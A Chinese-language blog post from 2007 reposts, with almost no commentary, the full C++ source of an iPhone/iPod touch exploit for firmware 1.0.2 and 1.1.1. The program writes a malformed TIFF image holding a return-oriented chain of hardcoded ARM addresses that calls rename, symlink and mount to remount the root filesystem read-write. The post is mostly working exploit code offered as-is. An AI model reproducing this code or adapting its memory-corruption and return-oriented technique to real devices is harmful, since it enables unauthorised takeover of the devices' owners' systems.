欢迎访问测试中国(www.testingcn.com),做测试的朋友请加QQ群:45598719

号称是黑客破解IPhone的代码

上一篇 / 下一篇  2007-10-23 18:11:19 / 个人分类:开发相关

/*

Exploit for iTouch/iPhone by Toc2rta ( Dre + Niacin )

Credit for the discovery goes to Tavis

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <vector>

using namespace std;

void
print_pad(int n, char p = '\0')
{
    for (int i = 0; i < n; i++)
        printf("%c", p);
}

void
print_arr(char *arr, int size)
{
    for (int i = 0; i < size; i++)
        printf("%c", arr[i]);
}

struct Node
{
    typedef enum { VAL, STACK, BYTES, PTR } NodeType;
    NodeType type;

    union
    {
        int value;
        char bytes[4];
    };

    Node()
        : type(VAL), value(0) 
        { }

    Node(const Node &_node)
        : type(_node.type), value(_node.value)
        { }

    Node(int _value, NodeType _type = VAL)
        : type(_type), value(_value)
        { }

};

struct Ptr
{
    char *str;
    Node node;
};

struct Stack
{
    Stack(Node &_base, Ptr *_strings)
        : base(_base), strings(_strings)
        { }

    void Add(Node node)
    {
        switch (node.type)
        {
            case Node::BYTES:
                base.value += node.value;
                break;
            case Node::STACK:
                node.value += base.value;
                // fall through
            default:
                base.value += 4;        
        }

        stack.push_back(node);
    }

    void Write()
    {
        for (int i = 0; strings[i].str; i++)
        {
            strings[i].node.value = base.value;
            base.value += strlen(strings[i].str) + 1;
        }

        for (vector<Node>::iterator it = stack.begin(), end = stack.end(); it != end; ++it)
        {
            switch (it->type)
            {
                case Node::BYTES:
                    print_pad(it->value, 0x00);
                    break;
                case Node::PTR:
                    print_arr(strings[it->value].node.bytes, 4);
                    break;
                default:
                    print_arr(it->bytes, 4);
            }
        }

        for (int i = 0; strings[i].str; i++)
        {
            print_arr(strings[i].str, strlen(strings[i].str) + 1);
        }
    }

    vector<Node> stack;
    Node base;
    Ptr *strings;
};

    void
build_tif(Node &sp, Node &pc)
{
    char tif[] = 
    {    
        0x49,0x49,        // header
        0x2a,0x00,        // version
        0x1e,0x00,0x00,0x00,    // IFD location
        0x00,0x00,0x00,0x00,    // padding to IFD
        0x00,0x00,0x00,0x00,
        0x00,0x00,0x00,0x00,
        0x00,0x00,0x00,0x00,
        0x00,0x00,0x00,0x00,0x00,0x00,
        0x08,0x00,        // 8 tags in the image
        0x00,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00,    // image width = 8,
        0x01,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00,    // image length = 8,
        0x03,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xaa,0x00,0x00,0x00,    // samples per pixel = 1
        0x06,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xbb,0x00,0x00,0x00,    // photometric interpretation = black(1)
        0x11,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00,    // strip ōffsets = 8
        0x17,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x15,0x00,0x00,0x00,    // strip byte counts = 15
        0x1c,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,    // planar configuration = 1
        0x50,0x01,0x03,0x00,0xff,0x00,0x00,0x00,0x84,0x00,0x00,0x00,    // dot range, length = 0xff, offset from start of file 0x84
        0x00,0x00,0x00,0x00,                        // padding to dot range data start
    };

    print_arr(tif, sizeof(tif));
    print_pad(104, 0x00);                                                                    // padding
    print_arr(sp.bytes, 4);
    print_pad(12, 0x00);                                                                    // padding
    print_arr(pc.bytes, 4);

}

    int
main(int argc, char **argv)
{

    if (argc != 2)
    {
        printf("Usage: %s <1.0.2/1.1.1>\n", argv[0]);
        return 1;
    }

    int version = (!strcmp(argv[1], "1.0.2") ? 0 : 1);

    Ptr str[] = {
        { "/var/root/Media", 0 },
        { "/var/root/Oldmedia", 0 },
        { "/", 0 },
        { "hfs", 0 },
        { "/dev/disk0s1", 0 },
        { NULL, 0 }
    };

    Node base(version == 0 ? 0x0055a638 : 0x006f7638);

    Stack stack(base, str);

    Node ldmia_r4_r0(version == 0 ? 0x310b668c : 0x3125368c); // ldmia r4!, {r0, r1, r2, r3, r5, r6, r12, sp, lr, pc}
    Node ldmia_sp_r4(0x3000adfc);                             // ldmia sp!, {r4, r7, pc}
    Node ldmia_sp_r0(0x300df800);                             // ldmia sp!, {r0, r1, r2, r3, pc}

    Node rename(0x30015530);
    Node symlink(0x30027300);
    Node mount(0x300267d0);
    Node dead(0xdeadbeef);

    build_tif(base, ldmia_r4_r0);            // set stack base and initial jump

    stack.Add(Node(0, Node::PTR));           // r0 = "/var/root/Media"
    stack.Add(Node(1, Node::PTR));           // r1 = "/var/root/Oldmedia"
    stack.Add(Node(20, Node::BYTES));        // r2,r3,r5,r6,r12
    stack.Add(Node(12, Node::STACK));        // sp    -> offset 12
    stack.Add(ldmia_sp_r4);                  // lr = load r4,r7,pc from sp
    stack.Add(rename);                       // pc = rename(r0, r1)

    stack.Add(Node(12, Node::STACK));        // r4 = sp -> offset 12
    stack.Add(Node(4, Node::BYTES));         // r7 = unused
    stack.Add(ldmia_r4_r0);                  // pc = load r0...lr from r4

    stack.Add(Node(2, Node::PTR));           // r0 = "/"
    stack.Add(Node(0, Node::PTR));           // r1 = "/var/root/Media"
    stack.Add(Node(20, Node::BYTES));        // r2,r3,r5,r6,r12
    stack.Add(Node(12, Node::STACK));        // sp -> offset 12
    stack.Add(ldmia_sp_r0);                  // lr = load from r0..pc from sp
    stack.Add(symlink);                      // pc = symlink(r0, r1)

    stack.Add(Node(3, Node::PTR));           // r0 = "hfs"
    stack.Add(Node(2, Node::PTR));           // r1 = "/"
    stack.Add(Node(0x00050000, Node::VAL));  // r2 = MNT_RELOAD | MNT_UPDATE
    stack.Add(Node(8, Node::STACK));         // r3 = **data
    stack.Add(mount);                        // pc = mount(r0, r1, r2, r3)
    stack.Add(Node(4, Node::PTR));           // data = "/dev/disk0s1"

    stack.Write();

    return 0;
}

TAG: 开发相关

 

评分:0

我来说两句

Open Toolbar